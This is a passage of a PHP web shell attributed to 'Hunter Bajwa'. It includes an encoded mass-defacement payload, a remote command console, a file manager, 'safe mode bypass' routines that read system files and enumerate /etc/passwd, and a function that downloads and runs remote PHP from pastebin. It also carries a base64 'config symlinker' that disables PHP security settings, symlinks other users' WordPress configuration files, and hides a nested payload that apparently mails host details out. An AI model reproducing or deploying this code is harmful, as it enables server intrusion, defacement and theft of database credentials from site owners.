hxGh0pbt1DLAzolGEOPsTCeGxYOjZOxKZHLBsvBZMUSycNf2y3DtSEqiN9muDQbJrrg+oEzORHBoRmWi2THFFj+ohp5FCzpgYodamAIj6nGVMaw72G03QaGsiMcp5zYCzuQgSdgfSXwdFxw5Bq1ili2Q/aAsOLu08Xdz86l6PR7fgSzeE8KLI5HLYIGxbQ9F2iKeCPYc0Kq5SkOSOdToc4DaeQ84kQiDLY2N8H4M/YGCuNPVDd+fl8D0i2jlXx+joo1XnsBpTip2T1OmIQ7FNCKKnvQ5btgZsJ7DD5vlPXeJvZfrAshse92lAwYyyKp2y2j7nhK+hpmHFvCz31UfD5kvW13JP8ws8Otrphbf9gI7ipMEl05O44tSxItmYIUskBJ99gDnB0XNTkGsobGiXpSREzi2BcczLl/eiXY6w1xra3wEBkHAY9pxJhSoRDFujYtRma/BdiU4H5ZAf296nMXerrSeVUZQ4bjRVl54Eos/AEVGS2KtzQnhGRfMIWh5ER5k3SxXBWF76oNayWy7TeNvmcLyR6ArQTPOrU2EDl6bwx1pHZIYIvs45z0lJ9WISj9/9wNtOKiu2s3l1WN2OKdR0Gpzzn6JTzYPaU4sp1NbMbCNLhKeiwbYNwTsdMjYoPfR5AZ0IzeP/tGBI1y5VpLPFwnHMYrHK4AAyc+jbbePXUpUVZO6ixoMgVx1r5h9hcCtn551QxlHODsE3Nvk11tvv9e4077EVZFiKmcgw8QBPSWdHkPLQ9ObJQ5ixtaXsELpfH1BRe3qDNm9HMzZ5fg/JCbB2pQXmNNIXJftS69V8w8O/fuL+VYbWNHKU+uuUlxiENok7FH8dM1OlqZus7pD0r3sbH6LzJvKzv9hNRNt24Do7tuJ50q6WGeV54HojU0NTILwQjVVDbGBMjpwzL93fpitCF5KckVQpPZnrJ2QjF9WhaL0hdUi4oSaorxviOtf6mA9iC255TCGdY18WvELUS63zQu7++uBmN7waDkSmFq0Tzyn2zHC/zl25c1L0T+j2oTTDGglCx1aQpRWFouvbROoX2No8quplK/2Deawyi6VhsXW/W8vJfh2s7UcrM1y17Xyrvcm3y7btWuio6h1D3mTnISavSN+Tn25eURxotaqeYK1FBqLVI/b5qkbRAhkCRkg3vLwWWat/1WvV+xCYZRLue8HfQNq8MEi1haOcJz9w8K6ljb4qTc1HTn5NrTiXGryoLXnXFzdeQRrtNLs6tffYe/wdjFJ3QoIGN6G8sXM8UW0Ry0g2C14tYVDL2fdi4/1beLett8k1Li1Jcu31pcZs6s8UkZoVCdYgv9KmxVSTdrsIXnVvEBUuVgFLERIxW31VfD8q3C/OyUfyv7P8A";
1189 $writing = @fopen("locales.php", "w");
1190 @fwrite($writing, htmlspecialchars_decode(gzinflate(base64_decode($dirdeface))));
1191 @fclose($writing);
1192 ?>
1193 <center>
1194 <h1>All Dir Deface By Hunter Bajwa</h1>
1195 <br><br>
1196 <iframe src="locales.php" height="700" width="100%"></iframe>
1197 </center>
1198 <br><br>
1199 <?php
1200 printFooter();
1201}
1202
1203
1204
1205
1206function actionStringTools() {
1207 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1208 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1209 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
1210 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1211
1212 if(isset($_POST['ajax'])) {
1213 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1214 ob_start();
1215 if(function_exists($_POST['p1']))
1216 echo $_POST['p1']($_POST['p2']);
1217 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1218 echo strlen($temp), "\n", $temp;
1219 exit;
1220 }
1221 printHeader();
1222 echo '<h1>String conversions</h1><div class=content>';
1223 $stringTools = array(
1224 'Base64 encode' => 'base64_encode',
1225 'Base64 decode' => 'base64_decode',
1226 'Url encode' => 'urlencode',
1227 'Url decode' => 'urldecode',
1228 'Full urlencode' => 'full_urlencode',
1229 'md5 hash' => 'md5',
1230 'sha1 hash' => 'sha1',
1231 'crypt' => 'crypt',
1232 'CRC32' => 'crc32',
1233 'ASCII to HEX' => 'ascii2hex',
1234 'HEX to ASCII' => 'hex2ascii',
1235 'HEX to DEC' => 'hexdec',
1236 'HEX to BIN' => 'hex2bin',
1237 'DEC to HEX' => 'dechex',
1238 'DEC to BIN' => 'decbin',
1239 'BIN to HEX' => 'bin2hex',
1240 'BIN to DEC' => 'bindec',
1241 'String to lower case' => 'strtolower',
1242 'String to upper case' => 'strtoupper',
1243 'Htmlspecialchars' => 'htmlspecialchars',
1244 'String length' => 'strlen',
1245 );
1246 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1247 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1248 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1249 foreach($stringTools as $k => $v)
1250 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1251 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1252 if(!empty($_POST['p1'])) {
1253 if(function_exists($_POST['p1']))
1254 echo htmlspecialchars($_POST['p1']($_POST['p2']));
1255 }
1256 echo"</pre></div>";
1257 printFooter();
1258}
1259
1260function actionFilesTools() {
1261 if( isset($_POST['p1']) )
1262 $_POST['p1'] = urldecode($_POST['p1']);
1263 if(@$_POST['p2']=='download') {
1264 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
1265 ob_start("ob_gzhandler", 4096);
1266 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1267 if (function_exists("mime_content_type")) {
1268 $type = @mime_content_type($_POST['p1']);
1269 header("Content-Type: ".$type);
1270 }
1271 $fp = @fopen($_POST['p1'], "r");
1272 if($fp) {
1273 while(!@feof($fp))
1274 echo @fread($fp, 1024);
1275 fclose($fp);
1276 }
1277 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
1278
1279 }
1280 exit;
1281 }
1282 if( @$_POST['p2'] == 'mkfile' ) {
1283 if(!file_exists($_POST['p1'])) {
1284 $fp = @fopen($_POST['p1'], 'w');
1285 if($fp) {
1286 $_POST['p2'] = "edit";
1287 fclose($fp);
1288 }
1289 }
1290 }
1291 printHeader();
1292 echo '<h1>File tools</h1><div class=content>';
1293 if( !file_exists(@$_POST['p1']) ) {
1294 echo 'File not exists';
1295 printFooter();
1296 return;
1297 }
1298 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1299 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
1300 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1301 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1302 if( empty($_POST['p2']) )
1303 $_POST['p2'] = 'view';
1304 if( is_file($_POST['p1']) )
1305 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1306 else
1307 $m = array('Chmod', 'Rename', 'Touch');
1308 foreach($m as $v)
1309 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1310 echo '<br><br>';
1311 switch($_POST['p2']) {
1312 case 'view':
1313 echo '<pre class=ml1>';
1314 $fp = @fopen($_POST['p1'], 'r');
1315 if($fp) {
1316 while( !@feof($fp) )
1317 echo htmlspecialchars(@fread($fp, 1024));
1318 @fclose($fp);
1319 }
1320 echo '</pre>';
1321 break;
1322 case 'highlight':
1323 if( is_readable($_POST['p1']) ) {
1324 echo '<div class=ml1 style="background-color: black;color:black;">';
1325 $code = highlight_file($_POST['p1'],true);
1326 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1327 }
1328 break;
1329 case 'chmod':
1330 if( !empty($_POST['p3']) ) {
1331 $perms = 0;
1332 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1333 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1334 if(!@chmod($_POST['p1'], $perms))
1335 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1336 else
1337 die('<script>g(null,null,null,null,"")</script>');
1338 }
1339 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1340 break;
1341 case 'edit':
1342 if( !is_writable($_POST['p1'])) {
1343 echo 'File isn\'t writeable';
1344 break;
1345 }
1346 if( !empty($_POST['p3']) ) {
1347 @file_put_contents($_POST['p1'],$_POST['p3']);
1348 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
1349 }
1350 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
1351 $fp = @fopen($_POST['p1'], 'r');
1352 if($fp) {
1353 while( !@feof($fp) )
1354 echo htmlspecialchars(@fread($fp, 1024));
1355 @fclose($fp);
1356 }
1357 echo '</textarea><input type=submit value=">>"></form>';
1358 break;
1359 case 'hexdump':
1360 $c = @file_get_contents($_POST['p1']);
1361 $n = 0;
1362 $h = array('00000000<br>','','');
1363 $len = strlen($c);
1364 for ($i=0; $i<$len; ++$i) {
1365 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1366 switch ( ord($c[$i]) ) {
1367 case 0: $h[2] .= ' '; break;
1368 case 9: $h[2] .= ' '; break;
1369 case 10: $h[2] .= ' '; break;
1370 case 13: $h[2] .= ' '; break;
1371 default: $h[2] .= $c[$i]; break;
1372 }
1373 $n++;
1374 if ($n == 32) {
1375 $n = 0;
1376 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1377 $h[1] .= '<br>';
1378 $h[2] .= "\n";
1379 }
1380 }
1381 echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1382 break;
1383 case 'rename':
1384 if( !empty($_POST['p3']) ) {
1385 if(!@rename($_POST['p1'], $_POST['p3']))
1386 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
1387 else
1388 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1389 }
1390 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1391 break;
1392 case 'touch':
1393 if( !empty($_POST['p3']) ) {
1394 $time = strtotime($_POST['p3']);
1395 if($time) {
1396 if(@touch($_POST['p1'],$time,$time))
1397 die('<script>g(null,null,null,null,"")</script>');
1398 else {
1399 echo 'Fail!<script>document.mf.p3.value="";</script>';
1400 }
1401 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
1402 }
1403 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1404 break;
1405 case 'mkfile':
1406
1407 break;
1408 }
1409 echo '</div>';
1410 printFooter();
1411}
1412
1413function actionSafeMode() {
1414 $temp='';
1415 ob_start();
1416 switch($_POST['p1']) {
1417 case 1:
1418 $temp=@tempnam($test, 'cx');
1419 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1420 echo @file_get_contents($temp);
1421 unlink($temp);
1422 } else
1423 echo 'Sorry... Can\'t open file';
1424 break;
1425 case 2:
1426 $files = glob($_POST['p2'].'*');
1427 if( is_array($files) )
1428 foreach ($files as $filename)
1429 echo $filename."\n";
1430 break;
1431 case 3:
1432 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1433 curl_exec($ch);
1434 break;
1435 case 4:
1436 ini_restore("safe_mode");
1437 ini_restore("open_basedir");
1438 include($_POST['p2']);
1439 break;
1440 case 5:
1441 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1442 $uid = @posix_getpwuid($_POST['p2']);
1443 if ($uid)
1444 echo join(':',$uid)."\n";
1445 }
1446 break;
1447 case 6:
1448 if(!function_exists('imap_open'))break;
1449 $stream = imap_open($_POST['p2'], "", "");
1450 if ($stream == FALSE)
1451 break;
1452 echo imap_body($stream, 1);
1453 imap_close($stream);
1454 break;
1455 }
1456 $temp = ob_get_clean();
1457 printHeader();
1458 echo '<h1>Safe mode bypass</h1><div class=content>';
1459 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1460 if($temp)
1461 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1462 echo '</div>';
1463 printFooter();
1464}
1465
1466
1467function permsa($file){
1468$permsa = fileperms($file);
1469
1470if (($permsa & 0xC000) == 0xC000) {
1471// Socket
1472$ainfo = 's';
1473} elseif (($permsa & 0xA000) == 0xA000) {
1474// Symbolic Link
1475$ainfo = 'l';
1476} elseif (($permsa & 0x8000) == 0x8000) {
1477// Regular
1478$ainfo = '-';
1479} elseif (($permsa & 0x6000) == 0x6000) {
1480// Block special
1481$ainfo = 'b';
1482} elseif (($permsa & 0x4000) == 0x4000) {
1483// Directory
1484$ainfo = 'd';
1485} elseif (($permsa & 0x2000) == 0x2000) {
1486// Character special
1487$ainfo = 'c';
1488} elseif (($permsa & 0x1000) == 0x1000) {
1489// FIFO pipe
1490$ainfo = 'p';
1491} else {
1492// Unknown
1493$ainfo = 'u';
1494}
1495
1496// Owner
1497$ainfo .= (($permsa & 0x0100) ? 'r' : '-');
1498$ainfo .= (($permsa & 0x0080) ? 'w' : '-');
1499$ainfo .= (($permsa & 0x0040) ?
1500(($permsa & 0x0800) ? 's' : 'x' ) :
1501(($permsa & 0x0800) ? 'S' : '-'));
1502
1503// Group
1504$ainfo .= (($permsa & 0x0020) ? 'r' : '-');
1505$ainfo .= (($permsa & 0x0010) ? 'w' : '-');
1506$ainfo .= (($permsa & 0x0008) ?
1507(($permsa & 0x0400) ? 's' : 'x' ) :
1508(($permsa & 0x0400) ? 'S' : '-'));
1509
1510// World
1511$ainfo .= (($permsa & 0x0004) ? 'r' : '-');
1512$ainfo .= (($permsa & 0x0002) ? 'w' : '-');
1513$ainfo .= (($permsa & 0x0001) ?
1514(($permsa & 0x0200) ? 't' : 'x' ) :
1515(($permsa & 0x0200) ? 'T' : '-'));
1516
1517return $ainfo;
1518}
1519function actionConsole() {
1520 if(isset($_POST['ajax'])) {
1521 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1522 ob_start();
1523 echo "document.cf.cmd.value='';\n";
1524 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
1525 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1526 if(@chdir($match[1])) {
1527 $GLOBALS['cwd'] = @getcwd();
1528 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1529 }
1530 }
1531 echo "document.cf.output.value+='".$temp."';";
1532 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1533 $temp = ob_get_clean();
1534 echo strlen($temp), "\n", $temp;
1535 exit;
1536 }
1537 printHeader();
1538
1539echo '<script>
1540if(window.Event) window.captureEvents(Event.KEYDOWN);
1541var cmds = new Array("");
1542var cur = 0;
1543function kp(e) {
1544 var n = (window.Event) ? e.which : e.keyCode;
1545 if(n == 38) {
1546 cur--;
1547 if(cur>=0)
1548 document.cf.cmd.value = cmds[cur];
1549 else
1550 cur++;
1551 } else if(n == 40) {
1552 cur++;
1553 if(cur < cmds.length)
1554 document.cf.cmd.value = cmds[cur];
1555 else
1556 cur--;
1557 }
1558}
1559function add(cmd) {
1560 cmds.pop();
1561 cmds.push(cmd);
1562 cmds.push("");
1563 cur = cmds.length-1;
1564}
1565</script>';
1566 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1567 foreach($GLOBALS['aliases'] as $n => $v) {
1568 if($v == '') {
1569 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1570 continue;
1571 }
1572 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1573 }
1574 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1575 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1576 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1577 if(!empty($_POST['p1'])) {
1578 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1579 }
1580 echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
1581 echo '</form></div><script>document.cf.cmd.focus();</script>';
1582 printFooter();
1583}
1584
1585function actionSelfRemove() {
1586 printHeader();
1587 ?><center><?php
1588 if($_POST['p1'] == 'yes') {
1589 if(@unlink(SELF_PATH))
1590 die('Shell has been removed');
1591 else
1592 echo 'unlink error!';
1593 }
1594 echo '<h1>Killing :\'(</h1><div class="content"><br>Really want to remove the shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div></center>';
1595 printFooter();
1596}
1597 function download_remote_file($file_url, $save_to)
1598 {
1599 $content = file_get_contents($file_url);
1600
1601 file_put_contents($save_to, $content);
1602
1603 }
1604 if (isset($_POST['dhanush'])) {
1605 download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
1606 header("location:dhanush.php"); }
1607
1608 if (isset($_POST['symlinker'])) {
1609 $php_symlinker = "PD9waHAgPz48P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKPz4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+SHVudGVyIEJhandhIENvbmZpZyBTeW1saW5rIFNjcmlwdCBWLTIuMDwvdGl0bGU+CjxzdHlsZT4KYm9keSB7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIGZvbnQtc2l6ZTogMThweDsKICBmb250LXdlaWdodDpib2xkOwogIGZvbnQtZmFtaWx5OiBBcmlhbDsKICBjb2xvcjpncmF5OwogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOwogIG1hcmdpbjogNXB4IDVweCA1cHggNXB4Owp9CmlucHV0W3R5cGU9InN1Ym1pdCJdewogIGJhY2tncm91bmQ6IGdyZWVuOwogIGJvcmRlci1yYWRpdXM6NnB4OwogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7CiAgY29sb3I6d2hpdGU7CiAgdGV4dC1zaGFkb3c6IDBweCAwcHggMTBweCByZ2JhKDAsIDE0OSwgMjU1LCAwLjc1KTsKICBsaW5lLWhlaWdodDo1MHB4OwogIHBhZGRpbmctbGVmdDoxMHB4OwogIHBhZGRpbmctcmlnaHQ6MTBweDsKICB0ZXh0LXRyYW5zZm9ybTpub25lOwp9CiNuYW1lewoJCWNvbG9yOiBncmF5OwoJCWZvbnQtc2l6ZTogMTJweDsKCQl9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8Zm9udCBmYWNlPSJDb21pYyBTYW5zIE1TIiBjb2xvcj1yZWQ+PGNlbnRlcj48aDE+SHVudGVyIEJhandhIENvbmZpZyBTeW1saW5rIFNjcmlwdCBWLTIuMDwvaDE+PC9mb250Pgo8P3BocAokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbWgxYm5SbGNtSmhhbmRoTkVCbmJXRnBiQzVqYjIwaUxDUnpkV0lzSkdKdlpIa3BPeUI5Q24wS1pXeHpaU0I3SUNSMmFYTnBkR01nSURzZ2ZRcEFjMlYwWTI5dmEybGxLQ0oyYVhOcGRIb2lMQ1IyYVhOcGRHTXBPdz09IjsKZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7CmVjaG8gJzxiPicgLiBwaHBfdW5hbWUoKSAuICc8YnI+PC9iPic7CmVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOwplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZiAoJHNhZmVfbW9kZSA9PSAnMScpIHsKICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cn0gZWxzZSB7CiAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwp9CmVjaG8gJzxicj4nOwplY2hvICc8L2ZvbnQ+JzsKJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsKZndyaXRlKCRmcCwgInNhZmVfbW9kZSA9IE9GRgoJU2FmZV9tb2RlX2dpZCA9IE9GRgoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCglkaXNhYmxlX2NsYXNzZXMgPSBOT05FCglvcGVuX2Jhc2VkaXIgPSBPRkYKCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOwpmY2xvc2UoJGZwKTsKaWYgKGVtcHR5KCRfUE9TVFsnY29uZmlnJ10pKSB7ID8+PGZvcm0gbWV0aG9kPSJQT1NUIj48dGV4dGFyZWEgbmFtZT0icGFzc3dkIiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9J2FyZWEnIHJvd3M9JzI1JyBjb2xzPSc4MCc+PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz48L3RleHRhcmVhPjxicj48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgdmFsdWU9IiBDbGljayB0byBtYWtlIFN5bWxpbmsiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT48L2NlbnRlcj48YnI+PD9waHAKfQppZiAoJF9QT1NUWydjb25maWcnXSkgewogICAgJGZ1bmN0aW9uID0gJGZ1bmN0aW9ucyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsKICAgICAgICBkaWUoJzxlcnJvcj5TeW1saW5rIGlzIGRpc2FibGVkIDooIDwvZXJyb3I+Jyk7CiAgICB9CiAgICBAbWtkaXIoJ0JhandhJywgMDc1NSk7CiAgICBAY2hkaXIoJ0JhandhJyk7CiAgICAkaHRhY2Nlc3MgPSAiCk9QVElPTlMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBTeW1MaW5rc0lmT3duZXJNYXRjaCBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBFeGVjQ0dJCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcwpGb3JjZVR5cGUgdGV4dC9wbGFpbgpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbApBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAKQWRkSGFuZGxlciB0eHQgLmh0bWwKQWRkSGFuZGxlciB0eHQgLnNodG1sCk9wdGlvbnMgQWxsCk9wdGlvbnMgQWxsIjsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLCAkaHRhY2Nlc3MsIEZJTEVfQVBQRU5EKTsKICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOwogICAgJHBhc3N3ZCA9IGV4cGxvZGUoIgoiLCAkcGFzc3dkKTsKICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgewogICAgICAgICRwYXdkID0gZXhwbG9kZSgiOiIsICRwd2QpOwogICAgICAgICR1c2VyID0gJHBhd2RbMF07CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd3AudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV1AudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtYmV0YS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1wcmVzcy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywgJHV